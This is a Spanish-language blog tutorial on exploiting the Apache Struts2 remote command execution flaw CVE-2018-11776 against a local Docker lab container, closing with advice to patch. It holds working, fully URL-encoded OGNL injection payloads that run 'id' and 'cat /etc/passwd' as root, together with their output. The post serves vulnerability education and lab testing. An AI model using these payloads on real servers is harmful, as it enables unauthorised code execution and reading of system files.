Explotando Struts2, CVE-2018-11776

Struts2

*Struts2*

Hace poco se hizo pública otra vulnerabilidad en Apache Struts2, un popular framework para aplicaciones web en Java. Dicha vulnerabilidad, CVE-2018-11776, permite a un atacante la ejecución remota de comandos. La versiones afectadas son Apache Struts 2.3 a 2.3.34 y 2.5 a 2.5.16.

Para poder aprovechar dicha vulnerabilidad, una acción (struts action) se debe definir sin namespace o usar algún carácter comodín, como por ejemplo /*. En estos casos, Struts usa OGNL (un lenguaje de expresiones de código abierto para Java) para determinar la acción a ejecutar basada en el namespace dado por el usuario, permitiendo así la posible ejecución de código remoto.

Existen pruebas de concepto pública para la explotación de esta vulnerabilidad, como por ejemplo en este repositorio. En el mismo, existen un par de scripts en Python, uno para comprobar si una aplicación web es vulnerable y el otro acepta comandos como parámetros que son ejecutados en el servidor donde corre nuestra aplicación. En dicho repositorio, hay algunas instrucciones para levantar un contenedor Docker con una aplicación usando Apache Struts2, más una serie de cambios en la confiración. Yo he creado un contenedor que ya contiene dichos cambios de configuración.

Si deseas probar por ti mismo como explotar esta vulnerabilidad, sólo tienes que ejecutar el siguiente comando (asumiendo que tienes Docker instalado):

docker container run -it --rm -p 8080:8080 tuxotron/cve-2018-11776

Si todo ha ido bien, desde el navegador puedes ir a http://localhost:8080/ y deberías ver algo así:

Struts2 Showcase

*Struts2 Showcase*

Para comprobar si la aplicación es vulnerable, desde el navegador, si vas a: http://localhost:8080/${2+2}/help.action, deberías ser redirigido a http://localhost:8080/4/date.action, esto implica que la expresión ${2+2} ha sido evaluada y por lo tanto podríamos explotar nuestra aplicacaión.

Si ejecutas el script de testeo del repositorio arriba mencionado, verás algo como esto:

./exploitS2-057-test.py http://0.0.0.0:8080/showcase.action
testing the url for exploit; http://0.0.0.0:8080/${90905+78732}/help.action
URL http://0.0.0.0:8080/showcase.action s2-057 CVE-2018-11776 is vulnerable!

Esto nos indica que la aplicación es vulnerable. Ahora si queremos ejecutar algún comando, por ejemplo id:

/exploitS2-057-cmd.py 0.0.0.0:8080 'id'
[Execute]: id
[Url]: http://0.0.0.0:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27id%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action



uid=0(root) gid=0(root) groups=0(root)

O podrías listar el fichero /etc/passwd:

./exploitS2-057-cmd.py 0.0.0.0:8080 'cat /etc/passwd'
[Execute]: cat /etc/passwd
[Url]: http://0.0.0.0:8080/%24%7B%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29.%28%23cmd%3D%27cat%20/etc/passwd%27%29.%28%23iswin%3D%28%40java.lang.System%40getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd.exe%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28%40org.apache.struts2.ServletActionContext%40getResponse%28%29.getOutputStream%28%29%29%29.%28%40org.apache.commons.io.IOUtils%40copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D/help.action



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
...

En el repositorio mencionado hay algún ejemplo más, como el ejecutar una shell inversa, etc.

Have fun! Y parchea si usas Struts2!